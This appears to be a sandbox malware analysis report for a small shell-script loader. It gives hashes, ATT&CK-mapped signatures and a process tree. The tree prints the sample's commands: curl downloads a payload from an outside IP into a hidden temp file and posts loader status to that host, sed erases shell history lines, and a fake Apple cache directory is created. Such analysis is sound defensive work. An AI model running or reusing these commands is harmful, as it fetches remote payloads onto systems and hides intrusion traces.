62f8864271c69a990cd3bbb9369b452923b1a85d2b956b4058c33fd94c906c60

Analysis

max time kernel
2s
platform
debian-9_armhf
resource
debian9-armhf-20260513-en
resource tags

arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
12/08/2026, 06:17

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
d657b8d5cb
Size 4KB
Sample260812-g18zvsxtfv
SHA256 62f8864271c69a990cd3bbb9369b452923b1a85d2b956b4058c33fd94c906c60
MD5 bec6ff96721285e7c61fbbed3e231aea
SHA1 d5cea0feace6211294a41bf41eae01d723cb162d
SHA512 18aa6508979941759752f2c8e9ce0ae3b6965ac661214a9309fc9234aa2c5db68592954dddfcdd59a823cb0b1519af71df2b7c192d03a1e429740fdcf3b1aebc
SSDEEP 96:+O1T2f/kx9rzfauc1icpRFadIbDJXDOzpdkO:n8kjKF1NDpSd9
TLSH
T178A100E2E8A076317A4C00BE759C50006A9F5C3F87F979A58542FD29557E85CB27C23A
MD5 SHA1 SHA512 SSDEEP TLSH

Score

6^/10

antivm credential_access defense_evasion discovery

Malware Config

Signatures

Enumerates running processes
Discovers information about currently running processes on the system

Reads Bash history 1 TTPs 1 IoCs

Adversaries may search the bash command history on compromised systems for insecurely stored credentials.

credential_access

Bash History

T1552.003

pid	Process
698	sed

Deobfuscate/Decode Files or Information 1 TTPs 1 IoCs

Adversaries may deobfuscate or decode files or information to evade detection mechanisms.

defense_evasion

Deobfuscate/Decode Files or Information

T1140

pid	Process
684	base64

Checks CPU configuration 1 TTPs 3 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads CPU attributes 1 TTPs 1 IoCs

discovery

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/devices/system/cpu/online	pkill

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/630/status	pkill
File opened for reading	/proc/14/status	pkill
File opened for reading	/proc/43/cmdline	pkill
File opened for reading	/proc/564/status	pkill
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/7/status	pkill
File opened for reading	/proc/26/cmdline	pkill
File opened for reading	/proc/41/cmdline	pkill
File opened for reading	/proc/105/status	pkill
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/23/cmdline	pkill
File opened for reading	/proc/166/cmdline	pkill
File opened for reading	/proc/271/status	pkill
File opened for reading	/proc/271/cmdline	pkill
File opened for reading	/proc/638/cmdline	pkill
File opened for reading	/proc/657/cmdline	pkill
File opened for reading	/proc/filesystems	sed
File opened for reading	/proc/5/status	pkill
File opened for reading	/proc/633/cmdline	pkill
File opened for reading	/proc/644/cmdline	pkill
File opened for reading	/proc/3/status	pkill
File opened for reading	/proc/294/cmdline	pkill
File opened for reading	/proc/298/cmdline	pkill
File opened for reading	/proc/7/cmdline	pkill
File opened for reading	/proc/14/cmdline	pkill
File opened for reading	/proc/21/cmdline	pkill
File opened for reading	/proc/277/status	pkill
File opened for reading	/proc/631/cmdline	pkill
File opened for reading	/proc/639/cmdline	pkill
File opened for reading	/proc/2/cmdline	pkill
File opened for reading	/proc/9/cmdline	pkill
File opened for reading	/proc/29/cmdline	pkill
File opened for reading	/proc/97/cmdline	pkill
File opened for reading	/proc/319/status	pkill
File opened for reading	/proc/10/cmdline	pkill
File opened for reading	/proc/12/cmdline	pkill
File opened for reading	/proc/21/status	pkill
File opened for reading	/proc/24/status	pkill
File opened for reading	/proc/208/status	pkill
File opened for reading	/proc/296/status	pkill
File opened for reading	/proc/1/status	pkill
File opened for reading	/proc/8/cmdline	pkill
File opened for reading	/proc/16/cmdline	pkill
File opened for reading	/proc/17/cmdline	pkill
File opened for reading	/proc/19/cmdline	pkill
File opened for reading	/proc/22/status	pkill
File opened for reading	/proc/42/cmdline	pkill
File opened for reading	/proc/277/cmdline	pkill
File opened for reading	/proc/2/status	pkill
File opened for reading	/proc/16/status	pkill
File opened for reading	/proc/26/status	pkill
File opened for reading	/proc/41/status	pkill
File opened for reading	/proc/208/cmdline	pkill
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/22/cmdline	pkill
File opened for reading	/proc/43/status	pkill
File opened for reading	/proc/153/status	pkill
File opened for reading	/proc/296/cmdline	pkill
File opened for reading	/proc/596/cmdline	pkill
File opened for reading	/proc/673/cmdline	pkill
File opened for reading	/proc/5/cmdline	pkill
File opened for reading	/proc/11/status	pkill
File opened for reading	/proc/303/cmdline	pkill

/tmp/d657b8d5cb
/tmp/d657b8d5cb
1⤵
PID:641
- /usr/bin/whoami
  whoami
  2⤵
  PID:652
- /bin/mktemp
  mktemp -d
  2⤵
  PID:661
- /bin/mkdir
  mkdir -p /root/Library/Caches/com.apple.frameworks
  2⤵
  PID:667
- /usr/bin/head
  head -c 32
  2⤵
  PID:670
- /usr/bin/pkill
  pkill -9 -f com.apple.update
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:673
- /bin/sleep
  sleep 0.3
  2⤵
  PID:677
- /usr/bin/getconf
  getconf DARWIN_USER_CACHE_DIR
  2⤵
  PID:681
- /usr/bin/base64
  base64 -D
  2⤵
  - Deobfuscate/Decode Files or Information
  PID:684
- /usr/bin/head
  head -c8 /dev/urandom
  2⤵
  PID:686
- /usr/bin/tr
  tr -d " \\n"
  2⤵
  PID:688
- /usr/bin/od
  od -An -tx1
  2⤵
  PID:687
- /bin/uname
  uname -m
  2⤵
  PID:690
- /usr/bin/curl
  curl -sX POST -H "Content-Type: application/json" -d "{\"e\":\"loader_start\",\"rid\":\"28cc979e6854bdf4\",\"src\":\"http://185.173.147.153/4adc82c51956cd?force=1\"}" -m 5
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:689
- /usr/bin/head
  head -1
  2⤵
  PID:693
- /usr/bin/wc
  wc -c
  2⤵
  PID:694
- /bin/sed
  sed -i "\$d" /root/.zsh_history
  2⤵
  PID:696
- /usr/bin/curl
  curl -kfsSL --connect-timeout 20 --max-time 900 --retry 3 --retry-delay 2 --retry-all-errors "http://185.173.147.153/f422ff057d106c?force=1" -o /tmp/tmp.3TmsMSlMUk/.gRXp2j
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:697
- /bin/sed
  sed -i "\$d" /root/.bash_history
  2⤵
  - Reads Bash history
  - Reads runtime system information
  PID:698
- /bin/uname
  uname -r
  2⤵
  PID:700
- /usr/bin/curl
  curl -sX POST -H "Content-Type: application/json" -d "{\"e\":\"download_fail\",\"rid\":\"28cc979e6854bdf4\",\"src\":\"http://185.173.147.153/4adc82c51956cd?force=1\"}" -m 3
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:701
- /bin/rm
  rm -rf /tmp/tmp.3TmsMSlMUk
  2⤵
  PID:702